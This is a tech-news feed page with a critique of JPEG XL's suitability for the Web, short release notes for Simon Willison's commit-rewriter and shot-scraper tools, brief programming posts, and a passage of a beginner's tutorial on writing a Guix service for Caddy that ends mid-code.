JPEG XL came from Cloudinary and Google, but I think the codec is discussed in a way that doesn't make this clear. Also worth mentioning both JPEG XL and AVIF are royalty-free. Because of the politics around Google's browser market dominance, AV1 coming from Google, and the controversy around Google's WebP, it is my opinion that most of the argument for JPEG XL comes from wanting a Web with more developer choice as opposed to wanting a technologically superior image codec. I understand this, and I think JPEG XL can still thrive outside the Web in places AVIF never could. In the same article:

My current optimistic hope is that JXL takes off outside the web among professionals working with tools like the Adobe suite or alternatives, and camera manufacturers, smartphone OEMs, and others take notice and begin to think about JXL more seriously.

JPEG XL isn't useless; it is genuinely compelling technology for use cases beyond the Web. I'm just not personally convinced we need it in browsers any time soon.

Software and environment details .

Show HN: Exploring the intersection of prediction markets and social media

Hacker News
www.thevidmarket.com
2026-09-13 21:14:25
Comments...

The case against JPEG XL

Hacker News
giannirosato.com
2026-09-13 21:02:37
Comments...
Original Article

Investigating JPEG XL's place as a Web image codec.

Caustics

Why?

JPEG XL is a technically impressive image codec; it is a definitive upgrade over JPEG, more versatile than WebP, and well-equipped to serve use cases beyond the Web. However, it was famously rejected from Chrome in 2023. Because this happened to a royalty-free, flexible, compression-efficient codec from the JPEG Committee that was receiving attention from large companies, the decision didn't land well with many.

Recently, a JPEG XL decoder in Rust has made its way into Firefox and Chrome in some capacity. The Web's major stakeholders may therefore be reversing course on JPEG XL given that the new decoder may protect the Web from reliving 2023's WebP vulnerability . Is this all it took to justify JPEG XL for the Web?

Historically, I've been a big proponent of JPEG XL for all use cases. I endorsed JPEG XL for Interop 2024, and I've interacted with Jon Sneyers and Jyrki Alakuijala (two of the format's primary authors) personally many times. I'm consistently impressed with their public conduct, level-headedness, technical aptitude, and passion for the field.

This piece does not seek to discredit the format's authors or their work, nor to claim any political affiliation relative to the codec's symbolism in free software. The spirit of this post is educational; I want to offer an empirical look at the current state of image compression and the Web platform in 2026. Some inspiration is drawn from RISC-V: They Should Have Known Better by Dmitry Grinberg.

The Web

I do image compression work , coming from video compression originally. While working on an AV1 encoder , Julio Barba and I made significant advancements to AVIF , and I learned a lot in the process. When I decided to start building my own encoder , I had to think very hard about which formats I felt had the highest ceilings, could be effectively optimized, and had the most present and potential utility. I decided not to work with JPEG XL.

By volume, there are very few use cases on the Web that aren't served by versatile lossy compression. The average Web consumer doesn't need lossless; they just need a lossy codec versatile enough to prevent terrible artifacts (e.g. JPEG on non-photographic content). This rules out JPEG XL's lossless advantage, which in practice is only roughly 11.9% smaller than lossless WebP anyway – and on an unrealistic test dataset for the Web (157 MP photos, 10 MP illustrations, and 27 MP books). It cannot be worth bringing a new image codec to browsers to save 12% on a tiny volume of image content with use cases inherently less sensitive to bandwidth constraints. I say this because JPEG XL isn't competitive for lossy, so lossless would be its only real advantage.

Lossy Compression Efficiency

One of the original arguments for JPEG XL was that its reference encoder was more perceptually optimized than competing encoders. Now, on both speed and fidelity per bit, other encoders are stronger.

The AV1 reference encoder received specialized perceptual tuning based on controlled subjective human trials to strengthen its efficiency while maintaining a tuning mode optimized for perceptual metrics. SVT-AV1 has similar tuning modes. There is no compelling argument that modern encoders aren't tuned for the human eye.

Metrics aren't perfect, but they paint a daunting picture for JPEG XL:

aperture-alpha is Halide Compression's upcoming encoder, codenamed Aperture. I included it to show just how much ground libjxl needs to make up to compete at the frontier.

Some analysis claims that JPEG XL underperforms in metrics relative to its perceptual strength, but I don't see sufficient evidence that this is to the degree that graphs like the ones I shared could be secretly completely reversed. CVVDP and SSIMULACRA2 are very strong perceptual metrics, and definitely tell us something when the differences are this great. For AVIF, libaom's perceptually optimized tune (tune IQ) is only a couple of points lower than its perceptual-metric-optimized tune (tune SSIMULACRA2). Plus, the JPEG XL reference encoder has historically suffered from percep tual issues that remain largely unresolved.

There's no such thing as a codec benchmark, only an encoder benchmark; in theory, the ceiling for JPEG XL as a format is higher than libjxl is getting. But how hard would it be to close the gap? As a compression engineer, I believe it is disadvantaged here. Some reasons:

  • JPEG XL doesn't have directional prediction modes. Compressed images are divided into VarDCT blocks (from 2x2 up to 256x256) and transformed into frequency representations of their pixels. Other block-based image codecs like WebP let you predict a block's pixels using surrounding data, subtract this prediction from the actual pixels, and then do the frequency transform. Directional prediction modes can result in blur if your encoder isn't perceptually optimized, but strong mode-decision pipelines can pick the right mode for the job and save lots of bits. For example, edge preservation is stronger in codecs with directional pred, while JXL is weaker here.
  • The proposed solution for the edge-preservation gap is splines, which are vastly more difficult to use. The hard part is on the encoder side: you need an efficient algorithm to figure out which pixels can even be represented as a spline, then feed every candidate through RDO to decide whether it's worth coding. There's no existing PoC for using splines for edge preservation, and I have no reason to believe they'd be better than dir-pred anyway.
  • JPEG XL doesn't have deblocking loop filtering (DLF), or any deblocking filter. It does have two in-loop tools that are sometimes offered as partial equivalents: gaborish, which is the closest thing JXL has to AV1's loop restoration filtering, and EPF (edge-preserving filter), whose closest analogue is AV1's CDEF. Neither is a deblocking filter, and the two together can't fully replace proper DLF. The DLF can smooth images out, but if your encoder is smart it will only help you avoid mosquito noise, which JPEG XL still suffers from.
  • JPEG XL's perceptual "XYB" colorspace is based on a lot of intuition, and doesn't always translate to gains in other formats (like JPEG) even when metrics like SSIMULACRA2 work in the exact same colorspace. The claimed efficiency savings from using XYB also aren't as big as originally advertised because libjxl currently relies on aggressively quantizing the B channel. This has resulted in subpar color preservation, which new JXL encoder developers must explicitly undo.
  • JXL does poorly with non-photographic images. The proposed solution is using patches, but they are more difficult to use than AV1's Intra Block Copy.
    • To get a similar range of expressiveness to IntraBC, the encoder has to deal with additional concepts like layers and blending, which aren't cheap to represent at the bitstream level.
    • Residual coding is awkward. With AV1, you predict a block, subtract the prediction from the source, and the transform coefficients naturally represent the residual. With JXL's construction, you decode a residual frame and then blend a reference patch, so you need an actual frame or layer whose decoded pixels represent the residual. That would likely be a Modular frame, which is interesting because Modular isn't restricted to conventional unsigned image values the way the final rendered image is.
    • An IntraBC block essentially costs a motion vector plus residual coefficients, whereas a JXL construction potentially costs a reference frame, a frame header, a crop, blend information, a patch dictionary entry, patch coordinates, and a residual frame. That overhead can overwhelm the savings unless the repeated region is fairly large or reused many times.
    • Patches have to be explicitly enabled in libjxl below effort 7 because they currently have performance issues.

For non-photographic images, the argument that “they should be vector images” doesn't hold up because many images could be vector images but aren't, and they can't be vectorized perfectly. “The world should be different” is not a justifiable defense against optimizing for the way the world actually is.

It is tempting to think these points mean the ceiling is higher than libjxl lets us reach and that we could do better, but I'm not confident it can eclipse well-optimized AVIF encoders quickly, given its less intuitive (and potentially weaker) coding tools.

Decode Time

JPEG XL has an impressively flexible specification. In addition to its coding tools, it supports up to 4096 channels, arbitrary color depth, progressive decode, JPEG recompression, and more. Many of these features are not broadly useful on the Web; you need 4 channels (RGB/YUV + alpha), reasonable color depth to support HDR (10-bit is fine), and the ability to load quickly.

Progressive rendering (which AVIF supports) decodes a low-fidelity rendition before the full image arrives. AVIF didn't support progressive rendering for a while, and during that time I believe it was deeply oversold. Now that libavif has implemented it (it was always possible), the conversation appears to be over. I think this is because the results speak for themselves:

AVIF Progressive Decode

This is from the JPEG-XL info site , where AVIF shows a usable image much earlier than JXL at just ~2-3% of the full image's size. Combined with the fact that the AVIF is smaller overall, this is an easy win. I've screenshotted the page because the AVIF progressive decode only works in Chrome, as it is using the browser's native decoder; JPEG XL uses a polyfill because even in Safari where it is supported, progressive decode isn't.

JPEG recompression is the ability to losslessly re-encode JPEGs as JXL images while saving bits; the oft-cited number is 20% savings. However, the user pays for this in decode time, as recompressed JPEGs take ~33% longer to decode. Modern consumer devices are powerful, but the argument that the savings come “for free” is misleading.

On that topic, decode time is not competitive with the best:

Decode Time

In public discourse, AVIF is considered slow to decode; what does that make JXL? This is also a 10-bit AVIF, and all images were size-matched encodes of the same source. The JPEG was 2,478,828 bytes, the JPEG XL was 2,599,428, the AVIF 2,649,949, and WebP 2,693,794. WebP is over 90kb larger and still manages to decode over 10x faster than jxl-rs with wpd .

Due to the codec's expressivity, it is possible to craft images that take obscenely long to decode. Take this example (open with caution) that computes primes up to 33,599 and takes 17.43s of user time to decode on my M5 Pro with the Rust decoder. Additionally, keep in mind that this is the decoder making its way into Chrome, Firefox, etc – the prime wall image is just 1,918 bytes, so it's about to become trivially easy to JXL-bomb low-end devices. You can already ship a couple dozen of these on a Web page and slow Apple devices down, as they natively support JPEG XL in Safari.

Conclusion and Opinion

I believe Web codecs should be purpose-built, efficient, and narrowly scoped to the needs of the Web. I think WebP was a bit too narrowly scoped, but the idea was there; AVIF's container could be better, and the AV1 spec could be a bit more specific about handling certain properties of images (e.g. normative 4:2:0 upsampling), but AVIF was always a guaranteed addition to the Web due to AV1 and benefits from a very mature ecosystem.

Do we need JPEG XL then? It isn't narrowly scoped whatsoever; it is meant to be everything to everyone, by design. I think a lot of other use cases need this, but the Web needs to save bandwidth, decode fast, and prevent foot-guns; I don't see how JPEG XL is even as good a fit as WebP. Not to mention an additional compatibility headache now exists for anyone just trying to download an image from the Internet and use it somewhere – it was hard enough to get widespread WebP adoption, and I don't think it's worth doubling the pain by having to climb the same hill for AVIF and JPEG XL. Especially when JPEG XL doesn't appear to add anything to the Web platform.

3½ years ago , I said:

I want a web where both AVIF and JPEG XL can exist, and developers decide which format to use for its merits. [...] In my opinion, JPEG XL and AVIF have fundamentally different strengths which lend them to different use cases.

At the time, JPEG XL was a much stronger contender for medium-high fidelity lossy image compression. AVIF now dominates the entire fidelity range, so JPEG XL's one real advantage has disappeared.

Full Fidelity Range

JPEG XL came from Cloudinary and Google, but I think the codec is discussed in a way that doesn't make this clear. Also worth mentioning both JPEG XL and AVIF are royalty-free. Because of the politics around Google's browser market dominance, AV1 coming from Google, and the controversy around Google's WebP, it is my opinion that most of the argument for JPEG XL comes from wanting a Web with more developer choice as opposed to wanting a technologically superior image codec. I understand this, and I think JPEG XL can still thrive outside the Web in places AVIF never could. In the same article:

My current optimistic hope is that JXL takes off outside the web among professionals working with tools like the Adobe suite or alternatives, and camera manufacturers, smartphone OEMs, and others take notice and begin to think about JXL more seriously.

JPEG XL isn't useless; it is genuinely compelling technology for use cases beyond the Web. I'm just not personally convinced we need it in browsers any time soon.

Software and environment details .

commit-rewriter 0.1

Simon Willison
simonwillison.net
2026-09-13 20:28:10
Release: commit-rewriter 0.1 I built this little web app the other day to help edit the commit messages for the Datasette security releases. The initial commits were full of coding agent cruft and references to issue IDs from our private repository, so they weren't fit for publication. If yo...
Original Article

I built this little web app the other day to help edit the commit messages for the Datasette security releases . The initial commits were full of coding agent cruft and references to issue IDs from our private repository, so they weren't fit for publication.

If you want to edit the commit messages for a repository you can run it like this:

uvx commit-rewriter path/to/repo

Omit the path if you are already in the directory for that repo.

Screenshot of the commit-rewriter web interface. A heading reads commit-rewriter above the repository path and current branch and commit hash, with a short description of the tool. A toolbar shows a pending edits count with Discard drafts and Rewrite commit messages buttons, followed by a search box for message, author, or hash and an Edited only checkbox. A left sidebar titled Navigate commits lists recent commit messages with their short hashes. The main panel shows a card for each commit with its hash, author and timestamp, an editable text area containing the commit message, and a View full formatted diff toggle.

When you submit your edits the tool creates a timestamped branch of your current repo state - to allow you to revert if you need to - and then rewrites every commit from the first one you edited to the most recent.

Purely Functional Operating Systems

Lobsters
eighty-twenty.org
2026-09-13 20:03:38
Comments...
Original Article

Apparently Peter Henderson’s 1982 paper “Purely Functional Operating Systems” is hard to find online. Some years ago, during my PhD research, I scanned the paper from a physical copy in the university library. Here’s the scan I made .

Henderson, Peter. “Purely Functional Operating Systems.” In Functional Programming and Its Applications, edited by J. Darlington, P. Henderson, and D. Turner, 177–92. Cambridge University Press, 1982.

Anecdotally, programmers dislike "reduce"

Lobsters
evanhahn.com
2026-09-13 19:59:05
Comments...
Original Article

In short: from my experience, people like map and filter , but not reduce .

I use functions like map and filter all the time. When I put that code up for review, my peers rarely complain. I get plenty of feedback about other decisions, but not about my use of map and filter .

I cannot say the same for reduce . Often, when I’ve submitted a patch with reduce inside, I get a comment like, “this part is hard to read.” And I see reduce way less than map , filter , some , and so on.

Anecdotally, I have come to believe that programmers don’t like reduce as much.

I don’t know why, but I have a few theories:

  • reduce is harder to read.
  • reduce is less familiar.
  • reduce can have worse performance compared to other options.
  • reduce is less elegant in languages I use, like JavaScript, Python, and Swift. In my blissful stint as a Clojure developer, I did not get this feedback.
  • I’m wrong, and I’m seeing a trend that’s not real.

I usually just change reduce to something else and move on. Even though I prefer it, I don’t usually care much. But it’s a little social phenomenon I’ve observed, and I thought I’d document it.

I’ve also noticed this less recently, possibly because code review is less thorough nowadays.

Do you notice this? Do you like reduce ? Please tell me .

shot-scraper 1.12

Simon Willison
simonwillison.net
2026-09-13 19:58:14
Release: shot-scraper 1.12 I've added WebP support to my shot-scraper screenshot automation tool. You can now take a WebP screenshot of a web page like this: shot-scraper https://simonwillison.net -o screenshot.webp --quality 80 The --quality option sets the quality - without that option th...
Original Article

Release shot-scraper 1.12 — A CLI utility for taking screenshots of websites, recording video demos and scraping sites using JavaScript

I've added WebP support to my shot-scraper screenshot automation tool. You can now take a WebP screenshot of a web page like this:

shot-scraper https://simonwillison.net -o screenshot.webp --quality 80

The --quality option sets the quality - without that option the WebP file will be lossless.

In my experience WebP screenshots are almost always significantly smaller in file size than their JPEG or PNG equivalents. See the PR for some examples.

I shipped this feature so I could use it to generate the screenshot for my new commit-rewriter tool .

Writing a Guix service from scratch, as a beginner

Lobsters
aloysberger.com
2026-09-13 19:24:10
Comments...
Original Article

I am in the middle of migrating my machines from NixOS to Guix.

My first milestone is to migrate my VPS to Guix.

My VPS has essentially three majors roles:

  1. host my email server.
  2. host my wireguard server.
  3. act as a proxy server to access services on my home server (thus, hiding my home IP).

The mail server is up and running, using exim as the MTA and dovecot as the IMAP server. I had to jump through a few hoops to get exim up and running. I would have preferred postfix over exim, but only exim is available out of the box on the official Guix channel.

At the time, I didn't know how to define my own custom services. I intend to use Guix for the foreseeable future, I want to build a deep understanding of it. Learning to create my own services, suited to my own needs, is an important part of mastering Guix.

Which brings us to the motivation behind this article: the time had come to create my own service.

For the proxy server, I enjoy using Caddy. Caddy isn't available as a service on Guix. 1

This seems like the perfect time to finally dive into custom services.

As I navigated my way through the docs and the source code, I decided to document my learning and share it here, as guide for other newcomers.

In this article, we will be writing a custom service for our Caddy reverse proxy.

This service involves setting up a configuration file for Caddy via Guix, creating a system user and configuring Shepherd to run the daemon.

It's a perfect first custom service: t is simple enough to ease into custom services, yet it includes a good overview of them.

Furthermore, most of the services I run on my home server are essentially a combination of those three actions: configure users, manage configuration files and run the daemon.

Who is this for?

This article is suitable to Guix newcomers and beginners. As a matter of fact, I wrote this as I went along, stumbling my way through it, without any extensive knowledge beyond reading the documentation.

Pre-requirements

The only true prerequisite is to have the Caddy package ready to go on your Guix instance, so we can build the service on top of it. At the time of writing this blog, the Guix repository doesn't contain the Caddy package but the team is working on it.

In the meantime, you can follow my blog post to create one easily . It only takes a few lines of code.

You don't need to have a high proficiency or deep expertise in Scheme (I certainly don't), but a basic understanding of it is highly recommended.

I assume that you are, like me, fairly new to Guix - however this isn't a replacement to the documentation. I will be paraphrasing the documentation a lot with my own interpretation of it. I encourage you to keep the documentation on the side while following this article.

I obviously assume that you have Guix installed and a working configuration. If not, you can find one here.

Finally, you need to know how to reconfigure your system (hint: sudo guix system reconfigure my-config.scm ).

When I reference the Guix source code, I will use the notation file-name:line .

The plan

Alright, with this out the way, let's talk about what we are concretely going to build here.

In order to keep things as simple as possible, I decided to define our service to be as simple and bare-bones as possible.

Our plan will be as follow:

  1. Define an empty service, and successfully "enable" it.
  2. Create the dameon user and group..
  3. Copy the Caddy configuration to the right location.
  4. Configure Shepherd to run the service as a daemon in the background.

This is the bare mininum Caddy service; it will do the job, but it won't be the most elegant.

Most of the configuration options will be hard coded; the service won't be ready to be distributed. However, it will be functional and fulfill our needs.

Once completed, we can expect to have accumulated enough knowledge along the way to revisit, refactor and improve it.

As soon as this article is out, I plan on improving it and if I feel brave, I might even propose it to the Guix repository.

But for now, let's stick to the basics. We don't want to let perfection get in the way of done.

What is a service?

The documentation defines a service as " something that extends the functionality of the operating system ".

This definition is quite vague, but that's because a service can have a wide variety of functionalities. The most obvious type of a service is a daemon running a process in the background (our case), but it's not the only type of service.

As we will see, a service can be a process which is run once, such as creating accounts or copying files to the store. It can be a recurring process, such as a cron job.

In a way, it is a primitive to configure our system in a declarative manner.

One interesting aspect of services, is that they are designed from the ground up to be extensible and composable. A service can extends one or more services, and can itself be extended by one or more services. We will dive a deeper on that subject further below; I find this architecture fantastic.

You can read more about services in the documentation . If you still don't quite understand the concept of services,, it's completely normal. It didn't click for me until I started writing this Caddy service.

So if you don't fully grasp what a service is yet, follow along, it will make more sense as we progress.

1. Define an empty service

Our first step is to break the ice by creating the simplest service we can: a bare service that does nothing. The goal is just to get familiar with services.

First, we need to define the service type of our service.

A service type is essentially a blueprint for a service. Think of it as what a class is to an instantiated object.

A service is enabled or "instantiated" (if we keep our analogy of classes) by the service procedure. The service procedure takes as an argument a <service-type> record and a value.

(service my-service-type my-service-value)

If a value isn't provided, the default-value defined in the <service-type> definition is used.

(service my-service-type) ;; this service is using the default-value defined in <my-service-type>

To enable the service , we add it to the list provided to the services procedure:

(services
  (append (list (service my-service-type my-service-value)) %base-services))

Now let's look inside the <service-type> record.

You can find the definition of <service-type> in gnu/services.scm:187 . The service type is well documented, but grepping the codebase is very valuable tool when working with Guix (or any other software if you ask me!).

(define-record-type* <service-type> service-type make-service-type
  service-type?
  (name       service-type-name)                  ;symbol (for debugging)
  ;; Things extended by services of this type.
  (extensions service-type-extensions)            ;list of <service-extensions>
  ;; Given a list of extensions, "compose" them.
  (compose    service-type-compose                ;list of Any -> Any
    (default #f))
  ;; Extend the services' own parameters with the extension composition.
  (extend     service-type-extend                 ;list of Any -> parameters
    (default #f))
  ;; Optional default value for instances of this type.
  (default-value service-type-default-value       ;Any
    (default &no-default-value))
  ;; Meta-data.
  (description  service-type-description)         ;string
  (location     service-type-location             ;<location>
    (default (and=> (current-source-location)
               source-properties->location))
    (innate)))

We notice that the <service-type> requires a name and a list of extensions . It also contains optional fields: compose , extend , default-value , description and location .

Let's define our caddy-service-type . We set the name of our service to 'caddy . We also set the extensions to nil (the empty list), which means that we aren't extending any existing services for now. We also leave the default-value to nil .

Regarding the optional fields, let's only care about the description for now. It takes a string and is used for - you guessed it - the description.

I will cover the compose , extend and extensions fields later, let's not worry about them for now.

Our <service-type> for our Caddy service looks like this:

(define caddy-service-type
  (service-type
    (name 'caddy)
    (extensions nil) ;; an empty list
    (default-value nil)
    (description "Caddy is an extensible server platform that uses TLS by default.")))

That's it. This is the simplest service type: it only has a name and a description.

Let's enable it by adding it to the services procedure.

;; config.scm
(use-modules (gnu))
(use-service-modules networking ssh)
(use-package-modules screen ssh)

(operating-system
  (host-name ...)
  (timezone ...)
  (locale ...)
  (bootloader ...)
  (file-systems ...)
  (users ...)
  (packages ...)
  (services (append (list (service ....)    ;; Pre-existing services
                      (service caddy-service-type)) ;; <-- Add this line here
              %base-services)))       ;; %base-services are the default services

Now, run sudo guix system reconfigure config.scm and celebrate your first custom service.

We "instantiated" a service of type caddy-service-type without a value, defaulting to the default-value of nil .

It's not doing anything, but it still is a service.

If you have a graphical display, you can run the following command to generate a graph of your system:

guix system extension-graph config.scm | guix shell xdot -- xdot -

You will notice that the Caddy service is present in your services. Nice. Now let's make that service do something useful.

2. Create the daemon user

The next step to improve our service is to instruct it to create the caddy user and group.

It is always a good idea to create a non-root user to run a background process: if the process is compromised, the area of attack is much smaller.

This user will:

  1. Start the daemon.
  2. Have read access to the Caddy configuration file.

In order to create the user and group, we will use the power of extensions .

Guix contains a large number of services out of the box; one of them is the account-service-type . This service is used to create users and groups on our operating system.

In order to use that service, we will need to add it to the extensions field of our caddy-service-type .

The extensions field is a bit hard to grasp at first. My first instinct was that the extensions field allows you to modify your service by extending its own capability, giving it extra functionality. For example, in this case, I expected that extending the account-service-type would add the capability to create users and groups to our caddy-service-type .

However it is the opposite! You don't "add" capability to your service, you modify the target service ( account-service-type here) to perform actions for your service. How the target service-type is modified is defined by the rules in its compose and extend fields. We'll go over them in more details further below.

For now, let's continue on our account creation to illustrate this concept. We want to create a user, caddy , and a group with the same name, caddy .

The account-service-type is defined as extendable. This means that it offers an interface for other services to create user accounts. The account-service-type doesn't need to know who is creating accounts and why; it only exposes a way to do so.

This is the beauty of this architecture: it makes the system completely declarative. When a service extends the account-service-type , then Guix will create the accounts when the service is enabled. If the service is not enabled, those accounts aren't created.

It's a fantastic architecture when you think about it, it reminds me of the principle of Inversion of Control .

In order to instruct the account-service-type to create our caddy user when the caddy-service-type is enabled, we extend the account-service-type .

We now understand the concept of the extensions field. It allows you to 'extend' a target service-type to, for example, create more users. But we still don't really know how to specify it in practice.

We have a few ways of finding out set it up: reading the docs, grepping examples, or looking at the source.

For the sake of getting better at understanding services, let's look at the source.

Deeper dive: extend and compose

Being curious and eager to really assimilate how services extensions work, I tried find out if we can guess the shape of the accounts by looking at the account-service-type service, defined in shadow.scm:547 .

This is how the account-service-type is defined. We should be familiar with the <service-type> record structure.

(define account-service-type
  (service-type (name 'account)
    ;; Concatenate <user-account>, <user-group>, and skeleton
    ;; lists.
    (compose concatenate)
    (extend append)
    (extensions
      (list (service-extension activation-service-type
              account-activation)
        (service-extension shepherd-root-service-type
          account-shepherd-service)
        ;; Have 'user-processes' depend on 'user-homes' so that
        ;; daemons start after their home directory has been
        ;; created.
        (service-extension user-processes-service-type
          (const '(user-homes)))
        (service-extension etc-service-type
          etc-files)))
    (default-value '())
    (description
      "Ensure the specified user accounts and groups exist, as well
as each account home directory.")))

The first thing we can see, is that the default-value is an empty list, which means that the account-service-type itself is expecting a list as a value. But a list of what ?

In this case, the comments give us the answer: a list of <user-account> and <user-group> . If it was not for the comments, you could look at the account-activation .

Before moving on, let's talk about compose and extend fields. This is how they are defined in the documentation

> compose

This is the procedure to compose the list of extensions to services of this type.

> extend

This procedure defines how the value of the service is extended with the composition of the extensions.

This is a bit vague and left me a bit scratching my head, but what it means is that:

  1. Compose defines how to the service composes multiple services extending this service-type.

    For example,if we have three services listing accounts-service-type as an extension, how do we handle each value? Do we only take the first? The last?

    Obviously, if three services are defining users by extending the account-service-type , we want to create all those users. Therefore, we want to concatenate the values provided by the extending services.

    We can imagine other services behaving differently. For example, let's imagine a service whose role is to manage a port. Let's call it open-port-22-service-type . Let's also imagine that two services extend this service: one wants to open the port, the other close it.

    What shall we do? Open it, or close it? We have conflicting values.

    Maybe we want to err on the caution side and define open-port-22-service-type to prioritise 'close' values if it receives contradicting values.

    That's what the compose field is for. It defines how to compose multiple extending service values.

  2. Extend defines how the composition from the compose field interact with the service's value itself.

It is, in a way, quite similar to compose

Let's imagine a service-type which displays a welcome message when the computer boots, called welcome-message-service-type . If a service extends it with a different message, we might want to give priority to the extending service value.

In this case, we would use extend to instruct the welcome-message-service-type to replace its own value with the composed values from the extending services.

Note that compose and extend accept procedures which takes the service itself as an argument. It gives the user a lot of freedom and power when defining the rules.

Let's finish with the user-account-service-type as a final example.

In the case of users, we want to:

  1. compose : concatenate the values to create all the users and groups received.
  2. extend : append to the service value. so we create all the users and groups received AND the ones specified by the user-account-service-type service itself (remember that we can instantiate the service with a value).

Zooming back to the architecture, we can see that services are all built upon each other. A service, when installed, will modify the services listed in its extensions field. Those will in turn modify the service-type of their own extensions.

This "chain reaction" will continue until all services are collected in the system-service-type , which is the root of all services. Under the hood, we end up with a collection of all our services in one, large, single structure. I assume that this is conglomerate of services is then handled by Guix when configuring the system.

Ok, we now know the account-service-type :

  1. Accept a list of <user-account> and <user-group> records
  2. Concatenate any values received as per its compose rule.
  3. Append the (concatenated) received values to its own value, as per the extend rule.

Back to our <user-account> and <group-account>

So, by either following in my 'deep dive', reading the documentation or looking up examples in the code base, we found out that our group and user are defined as a <user-account> and <user-group> respectively.

Both records can be found in accounts.scm at line 71 and 90 respectively.

We define our accounts like so:

(define %caddy-accounts
  (list (user-account
          (name "caddy")
          (group "caddy")
          (comment "Run the caddy daemon")
          (system? #t)) ;;<-- the caddy user is a system user, not a real user
    (user-group
      (name "caddy")
      (system? #t))))

Now we can add them the account-service-type extension.

The extensions procedure accepts a list of <service-extension> . A service-extension is a record that accept two parameters.

The first is the name of the target service-type . This is account-service-type in our case. The second parameter to a service -extension is a procedure that takes the service itself (the current caddy service) and returns a list of object to extend the target service ( see documentation ).

The second parameter seems complicated, but it's simply a procedure that returns the "value" for the extension. In our case, a list of user and group account. You can imagine that using this second argument, we could create the user dynamically based on the value of our caddy-service-type if we wanted make our service configurable. That's how configurable services are structured.

Let's define our service-extension for the account-service-type and add it to the extension field.

(define caddy-service-type
  (service-type
    (name 'caddy)
    (extensions (list (service-extension account-service-type
                        (const %caddy-accounts))))
    (description "Caddy is an extensible server platform that uses TLS by default.")))

We used const here, which is the syntactic sugar for (lambda(_)(%caddy-accounts)) .

Alright, time to finally test it out!

Run sudo guix system reconfigure config.scm to apply our changes.

Let's check the presence of the caddy user by running sudo id caddy .

> sudo id caddy
# uid=982(caddy) gid=976(caddy) groups=976(caddy)

Nice! Our caddy user and group were created!

What we have learned so far:

  • Services are 'things' that modify the system.
  • Services can be extended and can extend other services.
  • Services define how they can be extended, via the compose and extend fields.
  • Services define the service they extend, via the extensions field.
  • All services are eventually "collected" in the system-service-type , the root service.
  • We have learned to how to extend the account-service-type to create a user and a group for our service.
  • We have also learned to dig around the source code to learn more about services.

Now let's see how we can write the config, the Caddy file, into /etc/caddy .

3. Copy the caddy configuration file to the right location

In order to keep matters simple, the caddy-service-type will be static. We will write the Caddyfile manually and provide it to our Caddy service. We won't be in charge of generating the Caddyfile 2 .

The Caddy service will simply be in charge of copying it to the right location.

The target location for Caddyfile is /etc/caddy/caddy.conf .

As before, we will be leveraging extensions to do so. To execute an arbitrary procedure when a service is enabled, we can use the activation-service-type .

Note that there is a service doing exactly this task, the etc-service-type . However I believe that using the more general activation-service-type for didactic purpose is a better choice. It's a widely used service; a lot of the service in the Guix repository rely on it.

The activation service is a service that is executed at activation of our service.

Interestingly enough, I couldn't find much about it in the documentation, except in this example. Let's look at the source code instead.

In services.scm:792 we get a bit more information:

>  ;; The activation service produces the activation script from the gexps it
;; receives.

We can also look at its definition services.scm:776

(define activation-service-type
  (service-type (name 'activate)
    (extensions
      (list (service-extension boot-service-type
              gexps->activation-gexp)
        (service-extension system-service-type
          activation-profile-entry)))
    (compose identity)
    (extend second-argument)
    (default-value #f)
    (description
      "Run @dfn{activation} code at boot time and upon
@command{guix system reconfigure} completion.")))

Alright, we see (from the comment and the lambda gexps->activation-gexp ) that the value required by a service is a G-Expression or gexp

What is a gexp? A gexp, or g-exp, or G-expression 3 is a Guix of staging code to be executed later in the build environment.

If you know what a G-expression is, you can skip the next section. If not, let's briefly introduce the concept of G-expression 4 .

Shallow dive: G-exps

I won't go to deep into the concept of G-exps; there is a lot to cover and it merits its own article. We will keep a high level overview.

To understand what G-expression are, you need to know that Guix runs in two environments.

When building packages, the guix daemon creates something akin to containers. They aren't quite containers, but the concept is close enough for our understanding.

To ensure reproducibility, each package is built in its own "container", which only includes the required inputs. For this to happen, part of the code in package definition needs to be staged for later execution, inside that "container". G-expressions is how we staging code to be executed at build time.

The two environments of Guix are often referred as:

  1. The "host" environment, in which we define packages and configurations (what we are doing here).
  2. The "build" environment, in which the Guix daemon is performing the actual build actions inside the "container".

G-expressions are expressed with the #~ macro, such as #~( ;; this is a g-expression ;; ) . Whenever you see the macro #~ , it means that the code inside the bracket will be executed later, inside the build "container".

Inside a G-exp, we can evaluate some expressions using the #$ macro, or ungexp .

For example, let's have a look at this G-expression:

#~(begin
    (mkdir #$output)
    (mkdir "/another/folder/path"))

In this instance, when the code is evaluated #$output will be replaced (or ungexp ) and the expression will be:

#~(begin
    (mkdir "/the/output/dir")
    (mkdir "/another/folder/path"))

In concept, it's similar to the quasi-quote and comma in Scheme.

As the G-expression is evaluated in a different environment, it will not have automatically access to the modules imported in the current environment. In order to give the G-expression access to modules, we need to import them in the "build" environment in which the G-expression will be evaluated.

To do so, we use the with-imported-modules syntax like so:

(with-imported-modules '((guix build utils))
  #~(begin
      (use-modules (guix build utils))
      (mkdir-p "/the/output/dir") ;;mkdir-p is a utility found in guix build utils.
      (mkdir-p "/another/folder/path")))

In the example above, mkdir-p is a procedure from in guix/build/utils.scm . The with-imported-modules provides the modules to the G-expression environment. We can then use the standard use-modules syntax as we would in a normal Scheme environment.

There is a lot more to G-expressions, but it merits its own article so I won't go any further.

This is all we need to know at this stage:

  1. G-expression is code staged to be executed in the "build" phase of Guix.
  2. G-expression are written with the #~ macro.
  3. We can ungexp part of the G-expression with the #$ macro.
  4. We can import modules into the G-expression with the with-imported-modules syntax.

If you want to dig deeper, some excellent resources are:

Back to the activation service

With this newly acquired knowledge, let's think about what we are trying to achieve here.

We want to:

  1. Create the /etc/caddy directory.
  2. Copy the configuration file at /etc/caddy/caddyfile .
  3. Ensure that the configuration file is read-only for the caddy user.

We need to express those three instructions in a G-expression that we will pass as an argument to the service-extension for the activation-service-type .

This is how we can do so:

(define %caddyfile (plain-file "CaddyFile" ":8080 { respond \"Hello world!\"}"))
;; Generate a plain caddyfile configuration.
;; Refer to https://caddyserver.com/docs/caddyfile-tutorial for more information

(define (%caddy-activation _)
  (with-imported-modules '((guix build utils)) ;; we need some utilities, such as `mkdir-p
    #~(begin
        (use-modules (guix build utils))
        (mkdir-p "/etc/caddy") ;; 1. Create the directory
        (copy-file #$%caddyfile "/etc/caddy/caddyfile") ;; 2. Copy the configuration file at the right location (notice the ungexp!).
        (chown "/etc/caddy/caddyfile"
          (passwd:uid (getpwnam "root")) ;; 3. Change the ownership to root:caddy.
          (group:gid (getgrnam "caddy")))
